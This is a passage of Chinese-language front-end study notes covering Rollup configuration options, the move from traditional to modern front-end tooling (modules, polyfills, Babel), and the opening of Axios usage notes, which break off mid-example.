指定了多个入口文件，每个文件都会被视为一个独立的模块进行打包，最终生成**对应**的**多个输出文件**，需要配合`output.dir`配置项使用。

> \[!important]
>
> 文件名通常由`Rollup`根据入口文件路径自动生成，但可以通过额外配置进行定制

**对象**：

```js
input: {
    a: "src/index.js",
    "b/index": "src/log.js"
}
```

指定了多个入口，并为每个入口指定一个**名称（键名）**，这样在输出的文件名中的可以使用这些名称来区分不同的模块。

> \[!important]
>
> 对象的键表示打包后的文件名
>
> 可以是**相对路径**或**自定义名称**，值则是对应的入口文件**路径**

> \[!important]
>
> 当选项的值使用对象形式时，可以通过在名称中添加 `/` 来将入口文件放入不同的子文件夹。

**示例:**

```js
export default {
  input: {
    main: 'src/main.js', // 将 src/main.js 打包为 main.js
    'utils/index': 'src/app.js' // 将 src/app.js 打包为 index.js
  },
  output: {
    dir: 'dist', // 输出目录
    format: 'esm', // 输出格式
entryFileNames: 'tree-[name].js'
  }
};

```

**输出结果:**

![image-20250408134406929](https://yumengjh.github.io/picx-images-hosting/20250408/IMG_0500.2ks3kvqf63.jpeg)

将一组文件转换为另一种格式，并同时保持**文件结构**和**导出签名**，推荐的方法是**将每个文件变成一个入口文件**

> **Rollup官网示例** https://cn.rollupjs.org/configuration-options/#input

```js
// @filename: glob.d.ts
declare module 'glob' {
export function globSync(pattern: string): string[];
}

// @filename: index.js
// ---cut---
import { globSync } from 'glob';
import path from 'node:path';
import { fileURLToPath } from 'node:url';

export default {
input: Object.fromEntries(
globSync('src/**/*.js').map(file => [
// 这里将删除 `src/` 以及每个文件的扩展名。
// 因此，例如 src/nested/foo.js 会变成 nested/foo
path.relative(
'src',
file.slice(0, file.length - path.extname(file).length)
),
// 这里可以将相对路径扩展为绝对路径，例如
// src/nested/foo 会变成 /project/src/nested/foo.js
fileURLToPath(new URL(file, import.meta.url))
])
),
output: {
format: 'es',
dir: 'dist'
}
};
```

**逐行解析**：

```js
import { globSync } from 'glob'; // 从 glob 库中导入的同步方法，用于匹配文件路径模式。

import path from 'node:path'; // Node.js 内置模块，用于处理和转换文件路径。

import { fileURLToPath } from 'node:url'; // 从 node:url 模块中导入的方法，用于将文件 URL 转换为文件系统路径。
```

```js
input: Object.fromEntries(); // 将键值对数组转换为对象。

globSync('src/**/*.js') // 使用 globSync 方法同步地查找所有匹配 src/**/*.js 模式的文件，即 src 目录下的所有 .js 文件（包括子目录中的文件）。

map(file => [ ... ]) //对每一个找到的文件路径进行映射操作，生成一个包含两个元素的数组。
```

```js
path.relative('src', file.slice(0, file.length - path.extname(file).length))

file.slice(0, file.length - path.extname(file).length) // 去掉文件的扩展名。例如src/nested/foo.js 变成 src/nested/foo。

path.relative('src', ...) // 计算相对于 src 目录的路径。例如，src/nested/foo 变成nested/foo。
```

```js
fileURLToPath(new URL(file, import.meta.url))

new URL(file, import.meta.url) // 创建一个基于当前模块URL的新的URL对象。

fileURLToPath(...)	// 将这个URL转换为文件系统路径，例如：src/main/eoo.js变成/project/src/main/eoo.js
```

```js
format: 'es'	// 指定输出的格式为ES模块（ESM)
dir: 'dist'	// 指定输出的目录为dist
```

**总结**：这段代码的作用是，使用`globSync`查找`src`目录下的所有的`.js`文件，将这些文件路径转换为相对于`src`目录的路径，并且去掉文件扩展名，再**将这些相对路径作为键，对应的绝对路径作为值**，生成一个对象作为`input`的参数，让这些文件打包到`dist`目录中，配置了`output`输出为ES模块格式。

### jsx

**什么是JSX？**

JSX是一种语法扩展，主要用于React框架中，它允许开发者在JavaScript中直接编写类似HTML的结构，

JSX最终会被编译为标准的JavaScript代码。

通常是`React.createElement()`调用，用来方便的构建UI组件

**jsx.mode**

该选项将决定如何处理 JSX

* `preserve`：将在输出中保持 JSX 语法
* `classic`：将执行 JSX 转换，旧版本的 React 或其他框架，例如 [Preact](https://preactjs.com)
* `automatic`：将使用 React 17 引入的 [新版 JSX 转换](https://legacy.reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html) 执行 JSX 转换

**jsx.factory**

当rollup在`classic`模式或`automatic`模式的回退中用来创建JSX元素的函数

对于`React`，通常是`React.createElement`，对于其他框架，则可能为 `h`

**jsx.fragment**

用于创建JSX片段的元素函数

**jsx.importSource**

导入**元素工厂函数**及**片段元素**的位置

**jsx.jsxImportSource**

当使用 `automatic` 模式时，将指定从哪里导入进行该转换所需的 `jsx`、`jsxs` 和 `Fragment` 辅助函数，这些是无法从全局变量获取的。

**jsx.preset**

允许选择上述预设中的一个，同时覆盖一些选项。

### output.dir

用于指定所有生成的**chunk**被放置在哪个目录中。如果生成的**chunk**个数是一个以上，那么该选项是必须的，**否则使用`file`选项代替**。

### output.file

用于指定要写入的文件，如果适用的话，也可以用于生成 **sourcemap**。只有在生成的 chunk 不超过一个的情况下才可以使用。

### output.format

用于指定生成的bundle的格式

`amd` 异步模块加载，适用于require.js等模块加载器

`cjs` commonjs，适用于Node环境和其他打包工具

`es`    将bundle保留为ES模块文件，适用于其他打包工具，及支持`<script type=module>`的浏览器（别名：`esm`，`module`）

`iife` 自执行函数，适用于`<script>`标签，为你的应用程序创建 bundle，`iife` 表示：“自执行 [函数表达式](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/function)”

`umd` 通用模块定义规范，同时支持`amd`，`cjs`，`iife`

`system` SystemJS模块加载器的原生格式

### output.globals

用于在`umd` / `iife` bundle 中，使用 `id: variableName` 键值对指定外部依赖

```js
import $ from 'jquery';
```

告诉 Rollup `jquery` 是外部依赖，`jquery` 模块的 ID 为全局变量 `$`：

```js
export default {
// ...
external: ['jquery'],
output: {
format: 'iife',
name: 'MyBundle',
globals: {
jquery: '$'
}
}
};

/*
var MyBundle = (function ($) {
  // 这里编辑代码
}($));
*/
```

或者，可以提供一个函数，将外部模块的 ID 变成一个**全局变量名**。

当要用全局变量替换本地文件时，需要使用一个绝对路径的 ID。

```js
// rollup.config.js
import { fileURLToPath } from 'node:url';
const externalId = fileURLToPath(
new URL(
'src/some-local-file-that-should-not-be-bundled.js',
import.meta.url
)
);

export default {
//...,
external: [externalId],
output: {
format: 'iife',
name: 'MyBundle',
globals: {
[externalId]: 'globalVariable'
}
}
};
```

### output.name

在输出格式为`iife`和`umd`的bundle的时候，如果想要**使用全局变量名来表示bundle时**，该选项是必须的

可以让同一页面上的其他脚本使用这个变量名来访问你的 bundle 输出

> \[!NOTE]
>
> 它让你的库可以在浏览器环境中通过一个全局变量名访问。
>
> * 当你的库需要在不支持模块系统的旧浏览器中使用
> * 当你想要通过`script`标签直接引入你的库
> * 当你的库需要和其他使用全局变量的库交互

**命名空间**

...

### output.plugins

指定输出使用的插件，**从包中引入的插件，使用的时候要调用**

使用压缩插件例子

```js
import { defineConfig } from 'rollup';
import terser from '@rollup/plugin-terser';
export default defineConfig({
	input: 'src/main.js',
	output: [{
		file: 'dist/bundle.js',
		format: 'iife',
		name: 'myBundle',
	}, {
		file: 'dist/bundle.min.js',
		format: 'iife',
		name: 'myBundle',
		plugins: [terser()],// [!code focus]
	}]
});

```

### plugins

不错的插件集合 [the Rollup Awesome List](https://github.com/rollup/awesome)

## 进阶功能{#cdvanced}

### cache

cache属性用于提升构建性能，主要用于在监视模式或多次构建时复用前一次构建的结果。

#### 演示实例

```js
const rollup = require('rollup'); //使用 Rollup 的 API 进行打包操作
let cache; // 用于存储 Rollup 的构建缓存 undefined

async function buildWithCache() {
	const bundle = await rollup.rollup({
		cache // 如果值为假，则忽略，不使用缓存，有则使用缓存
		// ... 其他输入项(配置项) 
	});
	cache = bundle.cache; // 保存之前构建的缓存对象，bundle.cache是返回的缓存对象，包含模块图和其它信息
	return bundle;
}

buildWithCache()
	.then(bundle => {
		// ... 操作 bundle
	})
	.then(() => buildWithCache()) // 将使用之前构建的缓存
	.then(bundle => {
		// ... 操作 bundle
	});
```

1. **首次构建**：没有缓存，完整构建
2. **后续构建**：使用 `bundle.cache` 加速，Rollup 只会重新处理**有变化的文件**
3. **缓存内容**：包括模块依赖图、AST 等信息，避免重复解析和构建未更改的模块

### logLevel

用于指定哪些日志将被处理，默认为`info`，意味着 info 和 warning 日志将被处理，而 debug 日志将被忽略，

**logLevel的不同级别**：

#### info

（默认级别），适合**开发环境**，获取最**详细的信息**

* 显示所有日志信息
* 包括普通信息、警告和错误
* 适合开发环境使用

#### warn

适合**测试环境**，关注**潜在问题**

* 只显示警告和错误

* 忽略普通信息日志

* 适合想要关注潜在问题的场景

#### error

适合**生产环境**，只关注**严重问题**

* 只显示错误信息

* 忽略警告和普通信息

* 适合只想看到严重问题的场景

#### silent

适合**CI/CD环境**，减少日志输出

* 不显示任何日志信息

* 完全安静模式

* 适合在自动化脚本中使用

* 除了构建结果外不显示任何信息

#### 示例

创建一个测试插件来生成不同级别的日志

```js
function createTestPlugin(level) {
	return {
		name: 'test-plugin',
		buildStart() {
			console.log(`[${level}] 开始构建...`);
			if (level !== 'silent') {
				console.log(`[${level}] 这是一条普通日志消息`);
				if (level !== 'error') {
					this.warn(`[${level}] 这是一条警告消息`);
					if (level === 'info') {
						console.debug(`[${level}] 这是一条调试消息`);
					}
				}
			}
		}
	};
}
```

导出多个配置，每个使用不同的日志级别

::: code-group

```js [info]
// 默认日志级别（info）
	defineConfig({
		input: 'src/main.js',
		output: {
			file: 'dist/bundle.info.js',
			format: 'iife',
			name: 'myBundle',
		},
		plugins: [createTestPlugin('INFO')],
		logLevel: 'info',  // 显示所有日志（默认值） [!code highlight]
	}),
```

```js [warn]
// 仅显示警告和错误
	defineConfig({
		input: 'src/main.js',
		output: {
			file: 'dist/bundle.warn.js',
			format: 'iife',
			name: 'myBundle',
		},
		plugins: [createTestPlugin('WARN')],
		logLevel: 'warn',  // 只显示警告和错误[!code highlight]
	}),
```

```js [error]
// 仅显示错误
	defineConfig({
		input: 'src/main.js',
		output: {
			file: 'dist/bundle.error.js',
			format: 'iife',
			name: 'myBundle',
		},
		plugins: [createTestPlugin('ERROR')],
		logLevel: 'error',  // 只显示错误[!code highlight]
	}),
```

```js [silent]
// 静默模式
	defineConfig({
		input: 'src/main.js',
		output: {
			file: 'dist/bundle.silent.js',
			format: 'iife',
			name: 'myBundle',
		},
		plugins: [createTestPlugin('SILENT')],
		logLevel: 'silent',  // 不显示任何日志[!code highlight]
	})
```

:::

### makeAbsoluteExternalsRelative

用于控制如何处理绝对路径的外部依赖

当设置为 `true` 时，会将绝对路径的**外部依赖**转换为相对路径，转换后的相对路径是相对于输出文件的位置计算的

**适用场景**：

* 当你使用绝对路径指定外部依赖时
* 希望输出文件在不同目录结构下都能正常工作
* 构建可移植的库或应用

### maxParallelFileOps

`maxParallelFileOps` 是 Rollup 的一个性能优化配置项，用于控制文件操作的并发数量。

可以在构建速度和系统资源消耗之间取得平衡，特别是在大型项目或资源受限的环境中尤为有用。

### onLog

`onLog` 是 Rollup 提供的一个强大的日志拦截和自定义处理机制，允许开发者完全控制 Rollup 的日志输出行为，如果不提供，日志将统一打印到控制台

```js
 onLog: (level, log, handler) => {}
```

* **level**: 'info' | 'warn' | 'error' | 'debug'
* **log**: 日志对象
* **handler**: 默认日志处理器

**日志对象包含**：

```js
{
  code: 'UNRESOLVED_IMPORT',  // 日志代码
  message: 'Could not resolve...', // 原始消息
  frame: '\n  > 1 | import...',   // 代码帧
  loc: { file: 'src/main.js', line: 1, column: 8 }, // 位置
  plugin: 'typescript',       // 来源插件
  meta: { /* 附加元数据 */ }
}
```

::: details 完整配置示例

```js
// rollup.config.js
export default {
  input: 'src/main.js',
  output: { file: 'dist/bundle.js', format: 'es' },
  onLog: (level, log, handler) => {
    // 1. 过滤特定日志
    if (log.code === 'CIRCULAR_DEPENDENCY') {
      console.warn(`🔄 发现循环依赖: ${log.ids.join(' → ')}`);
      return; // 阻止默认输出
    }

    // 2. 重写日志消息
    if (log.code === 'UNRESOLVED_IMPORT') {
      log.message = `无法解析模块: ${log.source}`;
    }

    // 3. 日志级别转换
    if (log.code === 'MISSING_NAME_OPTION') {
      handler('warn', log); // 将error降级为warn
      return;
    }

    // 4. 添加额外信息
    if (level === 'error') {
      log.message = `[构建错误] ${log.message}`;
    }

    // 5. 默认处理
    handler(level, log);
  }
};
```

:::

::: details 高级用法 - 日志收集

```js
// 收集所有日志用于分析
const buildLogs = [];

export default {
  // ...
  onLog: (level, log, handler) => {
    // 记录日志
    buildLogs.push({
      timestamp: new Date(),
      level,
      ...log
    });
    
    // 只显示错误
    if (level === 'error') {
      handler(level, log);
    }
  },
  
  // 插件形式获取最终日志
  plugins: [{
    name: 'log-collector',
    buildEnd() {
      fs.writeFileSync(
        'build-logs.json', 
        JSON.stringify(buildLogs, null, 2)
      );
    }
  }]
};
```

:::

::: details **日志聚合分析**

```js
const stats = { warnings: 0, errors: 0 };

onLog: (level) => {
  if (level === 'warn') stats.warnings++;
  if (level === 'error') stats.errors++;
  handler(level, log);
}
```

:::

**常见日志代码**

| 代码                | 描述           |
| :------------------ | :------------- |
| CIRCULAR\_DEPENDENCY | 循环依赖       |
| UNRESOLVED\_IMPORT   | 无法解析的导入 |
| MISSING\_EXPORT      | 缺少导出       |
| EMPTY\_BUNDLE        | 生成的包为空   |
| EVAL                | 使用了 eval    |
| PLUGIN\_WARNING      | 插件产生的警告 |

### onwarn

一个函数，用于拦截警告信息。它与 [`onLog`](#onlog) 非常相似，但只接收警告。如果调用默认处理程序，日志将被处理为警告。如果提供了 `onLog` 和 `onwarn` 处理程序，只有当 `onLog` 调用其默认处理程序时，`onwarn` 处理程序才会被调用，且 `level` 为 `warn`。

> https://cn.rollupjs.org/configuration-options/#onwarn

### output.assetFileNames

用于控制生成的资源文件（如图片、字体、CSS等）命名规则的配置项。

```js
export default {
  input: 'src/main.js',
  output: {
    dir: 'dist',
    format: 'es',
    assetFileNames: '[name].[hash][extname]'
  }
}
```

#### 可用占位符

| 占位符      | 说明                              | 示例               |
| :---------- | :-------------------------------- | :----------------- |
| `[name]`    | 资源文件原名（不含扩展名）        | `logo`             |
| `[extname]` | 包含点的扩展名                    | `.png`             |
| `[ext]`     | 不包含点的扩展名                  | `png`              |
| `[hash]`    | 基于文件内容的哈希值（默认8字符） | `e4ca327f`         |
| `[hash:16]` | 指定哈希长度                      | `e4ca327f5b6a8d9c` |

::: code-group

```js [基本哈希命名]
assetFileNames: '[name].[hash][extname]'
// logo.e4ca327f.png
```

```ts [按类型分类]
assetFileNames: 'assets/[ext]/[name]-[hash:8][extname]'
//assets/images/logo-e4ca327f.png
//assets/fonts/inter-3b2a7c.woff2
```

:::

::: details 完整示例

```js
// rollup.config.js
import image from '@rollup/plugin-image';
import postcss from 'rollup-plugin-postcss';

export default {
  input: 'src/main.js',
  output: {
    dir: 'dist',
    format: 'es',
    assetFileNames: ({name}) => {
      // 自定义命名函数
      if (name && name.endsWith('.css')) {
        return 'css/[name].[hash][extname]';
      }
      return 'assets/[hash][extname]';
    }
  },
  plugins: [
    image(),
    postcss({
      extract: true // 提取CSS为单独文件
    })
  ]
};
```

:::

### output.compact

用于控制生成的 bundle 代码的紧凑程度。

```js
export default {
  input: 'src/main.js',
  output: {
    file: 'dist/bundle.js',
    format: 'iife',
    compact: true  // 启用紧凑模式
  }
}
```

启用后的效果：

1. **移除空白字符**：
   * 删除不必要的空格
   * 删除换行符
   * 删除缩进
2. **缩短标识符**：
   * 局部变量重命名为短名称
   * 保持导出名称不变
3. **简化表达式**：

```js
// 转换前
if (condition) {
  return true;
} else {
  return false;
}

// 转换后
return condition?true:false
```

通常与其它**压缩工具**配合，比如**terser()**，`import { terser } from 'rollup-plugin-terser';`

### output.dynamicImportInCjs

用于控制 CommonJS 输出格式中动态导入(`import()`)行为的配置项。

决定在 CommonJS 输出格式中如何处理动态 `import()` 表达式。

**适用场景**：

* 当输出格式为 `cjs` (CommonJS) 时
* 代码中包含动态 `import()` 表达式
* 需要控制动态导入的转换方式

| 值             | 行为                                            |
| :------------- | :---------------------------------------------- |
| `false` (默认) | 将动态导入转换为 `Promise.resolve(require(id))` |
| `true`         | 保留原生的 `import()` 表达式                    |

```js
// src/main.js
async function loadModule() {
  const module = await import('./module.js');
  console.log(module);
}
```

输出：

::: code-group

```js [false]
// dist/bundle.cjs.js
async function loadModule() {
  const module = await Promise.resolve(require('./module.js'));
  console.log(module);
}
```

```ts [true]
// dist/bundle.cjs.js
async function loadModule() {
  const module = await import('./module.js');
  console.log(module);
}
```

:::

使用场景：

#### 使用 `true` 的情况

1. 运行环境支持原生动态导入 (Node.js 12+)
2. 需要真正的 ESM 动态导入行为
3. 依赖的模块是 ESM 格式

#### 使用 `false` (默认) 的情况

1. 需要兼容旧版 Node.js
2. 目标环境不支持原生 `import()`
3. 依赖的模块是 CommonJS 格式

::: details Node.js 双模式包

```js
// package.json
{
  "type": "module",
  "exports": {
    "require": "./dist/bundle.cjs",
    "import": "./dist/bundle.mjs"
  }
}

// rollup.config.js
export default {
  output: [
    {
      file: 'dist/bundle.cjs',
      format: 'cjs',
      dynamicImportInCjs: true // Node.js 12+
    },
    {
      file: 'dist/bundle.mjs',
      format: 'es'
    }
  ]
}
```

:::

### output.entryFileNames

用于控制入口 chunk 文件命名规则的配置项，特别适用于多入口项目或代码拆分场景。

```js
export default {
  input: ['src/main.js', 'src/other.js'],
  output: {
    dir: 'dist',
    format: 'es',
    entryFileNames: '[name]-[hash].js' // 入口文件命名规则
  }
}
```

#### 可用占位符

| 占位符      | 说明                              | 示例               |
| :---------- | :-------------------------------- | :----------------- |
| `[name]`    | 入口名称（基于输入配置）          | `main` `other`     |
| `[hash]`    | 基于文件内容的哈希值（默认8字符） | `e4ca327f`         |
| `[hash:16]` | 指定哈希长度                      | `e4ca327f5b6a8d9c` |
| `[format]`  | 输出格式（如 `es`、`cjs`）        | `es` `cjs`         |

::: code-group

```js [基础命名模式]
entryFileNames: 'entries/[name].js'
```

```js [输出]
dist/entries/main.js
dist/entries/other.js
```

:::

::: code-group

```js [带哈希版本控制]
entryFileNames: '[name]-[hash:8].js'
```

```js [输出]
dist/main-e4ca327f.js
dist/other-3b2a7c9d.js
```

:::

::: code-group

```js [按格式分类]
entryFileNames: '[format]/[name].js'
```

```ts [输出]
dist/es/main.js
dist/es/other.js
```

:::

::: code-group

```js [多页面应用]
input: {
  home: 'src/pages/home.js',
  about: 'src/pages/about.js',
  contact: 'src/pages/contact.js'
},
output: {
  dir: 'dist',
  entryFileNames: 'pages/[name]/bundle.js'
}
```

```ts 输出]
dist/
  pages/
    home/
      bundle.js
    about/
      bundle.js
    contact/
      bundle.js
```

:::

### output.extend

用于控制 **UMD/IIFE** 格式输出的全局变量扩展行为的配置项

**作用**：当设置为 `true` 时，如果全局变量已存在，Rollup 会将输出**扩展**到现有变量而**不是替换**它。

**注意：**适用于**umd**和**iife**

* 主要用于向现有的全局命名空间**添加功能**
* 开发可扩展的库
* 避免覆盖现有的全局变量

```js
export default {
  input: 'src/main.js',
  output: {
    file: 'dist/bundle.js',
    format: 'umd',
    name: 'MyLibrary', // 必须指定全局变量名
    extend: true       // 启用扩展模式
  }
}
```

::: code-group

```js [输入代码]
// src/main.js
export const version = '1.0.0';
export function greet() {
  console.log('Hello!');
}
```

```js [false(默认)]
// 输出 (会完全替换 MyLibrary)
var MyLibrary = (function() {
  const version = '1.0.0';
  function greet() {
    console.log('Hello!');
  }
  return {
    version: version,
    greet: greet
  };
})();
```

```js [true]
// 输出 (会扩展 MyLibrary)
var MyLibrary = MyLibrary || {};
MyLibrary.version = '1.0.0';
MyLibrary.greet = function() {
  console.log('Hello!');
};
```

:::

**渐进增强**

```js
// 主库
var MyLib = { plugins: {} };

// 插件1 
var MyLib = MyLib || {};
MyLib.plugins.analytics = function() { /*...*/ };

// 插件2 
var MyLib = MyLib || {};
MyLib.plugins.charts = function() { /*...*/ };
```

### output.externalImportAttributes

用于控制如何处理导入声明中的导入属性

...

### output.generatedCode

用于精细控制生成代码风格的配置选项，可以精确控制 Rollup 如何生成输出代码的各种语法特性

```js
export default {
  output: {
    generatedCode: {
      // 可配置选项将在这里
    }
  }
}
```

其参数可以是一个预设，也可以是一对象https://cn.rollupjs.org/configuration-options/#output-generatedcode

### output.hashCharacters

用于控制生成哈希值所用字符集的配置选项，它影响所有使用哈希的地方（如 `[hash]` 占位符）

```js
export default {
  input: 'src/main.js',
  output: {
    dir: 'dist',
    format: 'es',
    assetFileNames: '[name]-[hash][extname]',
    hashCharacters: 'base36' // 指定哈希字符集
  }
}
```

| 选项值     | 字符集              | 示例哈希          |
| :--------- | :------------------ | :---------------- |
| `'base64'` | A-Z, a-z, 0-9, +, / | `Fj8+3Dp/`        |
| `'base36'` | 0-9, a-z            | `4f9k2z`          |
| `'hex'`    | 0-9, a-f            | `e4ca327f` (默认) |

### output.hoistTransitiveImports

用于控制是否**提升**(hoist)**传递性导入**(transitive imports)的配置选项，主要影响代码拆分时的导入组织方式。

#### 基本概念

**传递性导入**：指模块A导入模块B，模块B又导入模块C，那么模块C就是模块A的传递性导入。

**提升(Hoisting)**：将传递性导入从原始位置移动到更高层级，通常是入口文件或共享chunk中。

| 值            | 行为                      |
| :------------ | :------------------------ |
| `true` (默认) | 提升传递性导入到共享chunk |
| `false`       | 保持传递性导入在原始位置  |

::: code-group

```js [结构]
src/
├── main.js (入口)
├── moduleA.js
└── moduleB.js
```

```js [代码]
// src/main.js
import { a } from './moduleA';

// src/moduleA.js
import { b } from './moduleB';
export const a = b + 1;

// src/moduleB.js
export const b = 42;
```

```js [true]
dist/
├── main.js (包含moduleB的代码)
└── moduleA.js
```

```js [false]
dist/
├── main.js
├── moduleA.js (包含moduleB的代码)
└── moduleB.js
```

:::

**使用场景**：

使用 `false` 的情况

1. 需要保持严格的模块依赖关系
2. 调试时希望看到原始导入结构
3. 某些特殊代码拆分需求

使用 `true` (默认) 的情况

1. 希望减少重复代码
2. 优化加载性能
3. 大多数常规应用场景

### output.importAttributesKey

用于控制导入属性(Import Attributes)语法中使用的关键字。这个配置主要影响代码中如何处理模块导入的类型断言。

...

### output.inlineDynamicImports

用于控制动态导入（`import()`）行为的配置选项，它决定是否将动态导入的模块内联到主 bundle 中。

**动态导入**：使用 `import()` 语法在运行时按需加载模块。

**内联（Inlining）**：将动态导入的模块直接包含在主 bundle 中，而不是生成单独的 chunk。

| 值             | 行为                               |
| :------------- | :--------------------------------- |
| `false` (默认) | 为动态导入创建单独的 chunk         |
| `true`         | 将动态导入的模块内联到主 bundle 中 |

使用 `true` 的情况

1. 构建单文件库时
2. 动态导入的模块很小，不值得拆分
3. 需要减少HTTP请求数量
4. 目标环境不支持代码拆分

使用 `false` (默认) 的情况

1. 需要利用代码拆分优化加载性能
2. 动态导入的模块较大
3. 构建多页面应用
4. 需要按需加载功能

### output.interop

用于控制不同模块格式之间**互操作行为**的配置选项，主要影响如何对待从 CommonJS 模块导入的内容。

**模块互操作(Interop)**：指不同模块系统（如 CommonJS 和 ES 模块）之间的交互方式。

**主要场景**：

* 从 CommonJS 模块导入默认导出
* 处理混合模块系统中的 `default` 导出

#### 配置选项

| 值                                              | 行为描述                     | 适用场景       |
| :---------------------------------------------- | :--------------------------- | :------------- |
| `'auto'` (默认)                                 | 根据情况自动选择最佳方式     | 大多数情况     |
| `'esModule'`                                    | 假设所有外部依赖都是 ES 模块 | 纯ES模块环境   |
| `'default'`                                     | 传统CommonJS兼容方式         | 需要兼容旧环境 |
| `'defaultOnly'`                                 | 更严格的CommonJS处理         | 特定兼容需求   |
| `false`                                         | 禁用特殊处理                 | 高级使用场景   |
| `function(id: string, defaultInterop: boolean)` | 自定义处理逻辑               | 精细控制       |

## 观察选项

https://cn.rollupjs.org/configuration-options/#watch

---

---
url: /posts/6a4qx1ck/index.md
---
# 传统前端开发到现代前端开发
工程化的定义：前端开发的管理工具，降本增效

## 模块化

**全局污染**：当一个 html 中引入的两个 JS 文件的代码有重复声明

**依赖混乱**：当一个文件分解后要聚合的时候，文件之间的依赖关系将变得复杂，将要考虑 Js 的引入顺序

**模块化**解决的就是**文件分解和聚合**的问题

`CJS`是**运行时**，而`ESM`是**编译时**

**运行时**：只有运行到表达式的时候才能确定依赖关系

```js
if(条件){
    const a1 = require('./a1.js');
}
else{
    const a2 = require('./a2.js');
}
// 只有在运行后才能确定依赖的关系
```

**编译时**：在运行之前就确定依赖关系，而不用去运行代码才能确定依赖关系

## 包管理

一个包依赖多个模块，像Vue就是一个包，或者说是一个框架或者库

**框架的定义**：能够约束底代码的结构，比如vue的单文件组件

**库**： 其本身有自己的结构，用到的时候使用其中的功能，是一个调用的关系

## JS工具链

**编译**：把一种代码转换为另一种代码

### API兼容

当一个API不兼容的时候，写一个就好了。

```js
Array.prototype.flatMap = function(callback, thisArg) {
}
const result = [1,2].flatMap(x => [x, x * 2]);
console.log(result); // [1, 2, 2, 4]
```

这个过程叫做`polyfill`，中文意思是填充物的意思，

但是自己去做这些API会降低开发效率，可以使用一些工具完成，比如`core-js`， 其内部把所有的函数都写了一遍

```js
require('core-js/modules/es.array.flat-map.js');
```

### 语法兼容

```js
// source.js
async function test(params) {
    return await Promise.resolve(params);   
}
(async ()=>{
    const r = await test("test");
    console.log(r); // test
})()
```

假如浏览器不支持上述语法，需要处理语法兼容问题，对于语法兼容的处理是**转换**而不是填充

比如将`async-await`语法进行转换，需要使用一个工具`regenerator`，提供了一些函数用于转换

```js
const regenerator = require("regenerator");
const fs = require("fs");
const path = require("path");

const soucePath = path.join(__dirname, "source.js");
const sourceCode = fs.readFileSync(soucePath, "utf-8");

const result = regenerator.compile(sourceCode, {
    includeRuntime: true
})

const targetPath = path.join(__dirname, "target.js");
fs.writeFileSync(targetPath, result.code, "utf-8");
console.log("编译成功！"); // 输出编译后的代码
```

转换后的代码就没有`await-async`语法了

但是，语法兼容工具并不一定在做语法兼容，还可以做**语法增强**，

### 代码集成转换工具

主流的代码集成转换工具就是`babel`，处理兼容性是使用它的一个主要目的，但是功能并不仅限于此

它就像搭建了一个舞台，把那些代码转换工具都可以集成进来

## CSS工具链

...

## 构建工具

**使用文件指纹**

![使用文件指纹](https://github.com/fish81/picx-images-hosting/raw/master/20250414/使用文件指纹.54xy6axukj.webp)**开发服务器**
![开发服务器](https://fish81.github.io/picx-images-hosting/20250414/开发服务器.8hgo0ll0ub.webp)**不使用文件指纹**
![不使用文件指纹](https://fish81.github.io/picx-images-hosting/20250414/不使用文件指纹.m9gy4j9c.webp)**webpack**
![webpack](https://fish81.github.io/picx-images-hosting/20250414/webpack.3k876r791a.webp)

---

---
url: /posts/6r2xdeqz/index.md
---
# Axios 笔记
Axios 是一个基于 [promise](https://javascript.info/promise-basics) 网络请求库，作用于 `node.js` 和浏览器中。 一套代码可以运行在浏览器和 node.js 中，在服务端它使用原生 node.js `http` 模块, 而在客户端 (浏览端) 则使用 `XMLHttpRequest`。

## 用例

```bash
pnpm add axios
```

```tsx
import axios from 'axios'

axios.get('/user?id=admin')
  .then(function (response) {
    // 处理成功情况
    console.log(response);
  })
  .catch(function (error) {
    // 处理错误情况
    console.log(error);
  })
  .finally(function () {
    // 总是会执行
  });
```

也可以这样写

```tsx
axios.get('/user', {
    params: {
      id: admin
    }
  })
  .then(function (response) {
    console.log(response);
  })
  .catch(function (error) {
    console.log(error);
  })
  .finally(function () {
    // 总是会执行
  });  
```

支持 `async/await` 用法

```tsx
async function getUser() {
  try {
    const response = await axios.get('/user?id=admin');
    console.log(response);
  } catch (error) {
    console.error(error);
  }
}
```

发起一个 `POST` 请求

```tsx
axios.post('/user', {
    firstName: 'firstName',
    lastName: 'lastName'
  })
  .then(function (response) {
    console.log(response);
  })
  .catch(function (error) {
    console.log(error);
  });
```

发起多个并发请求

```tsx
function getUserAccount() {
  return axios.get('/user/admin');
}

function getUserPermissions() {
  return axios.get('/user/admin/permissions');
}

const [acct, perm] = await Promise.all([getUserAccount(), getUserPermissions()]);

// OR

Promise.all([getUserAccount(), getUserPermissions()])
  .then(function ([acct, perm]) {
    // ...
  });
```

将 HTML Form 转换成 JSON 进行请求

```tsx
const {data} = await axios.post('/user', document.querySelector('#my-form'), {
  headers: {
    'Content-Type': 'application/json'
  }
})
```

multipart/form-data

```tsx
const {data} = await axios.post('https://httpbin.org/post', {
    firstName: 'Fred',
    lastName: 'Flintstone',
    orders: [1, 2, 3],
    photo: document.querySelector('#fileInput').files
  }, {
    headers: {
      'Content-Type': 'multipart/form-data'
    }
  }
)
```

application/x-www-form-urlencoded

```tsx
const {data} = await axios.post('https://httpbin.org/post', {
    firstName: 'Fred',
    lastName: 'Flintstone',
    orders: [1, 2, 3]
  }, {
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded'
    }
})
```

## API

可以向 `axios` 传递相关配置来创建请求

**axios(config)**

::: details 配置详细

```ts
export interface AxiosRequestConfig<D = any> {

  // 请求的 URL，可以是相对路径或绝对路径
  url?: string;

  // HTTP 请求方法，如 get / post / put / delete
  method?: Method | string;

  // 基础 URL，会自动与 url 拼接
  baseURL?: string;

  // 是否允许使用绝对 URL（不与 baseURL 拼接）
  allowAbsoluteUrls?: boolean;

  // 请求发送前，对请求数据进行转换（如 JSON.stringify）
  transformRequest?: AxiosRequestTransformer | AxiosRequestTransformer[];

  // 响应数据返回给 then/catch 前的转换处理
  transformResponse?: AxiosResponseTransformer | AxiosResponseTransformer[];

  // 请求头配置（支持通用头 + 方法专用头）
  headers?: (RawAxiosRequestHeaders & MethodsHeaders) | AxiosHeaders;

  // URL 查询参数（?a = 1&b = 2）
  params?: any;

  // params 的序列化方式（如 qs、自定义格式）
  paramsSerializer?: ParamsSerializerOptions | CustomParamsSerializer;

  // 请求体数据（POST / PUT / PATCH）
  data?: D;

  // 请求超时时间（毫秒）
  timeout?: Milliseconds;

  // 超时后抛出的错误信息
  timeoutErrorMessage?: string;

  // 是否携带 cookie（跨域时常用）
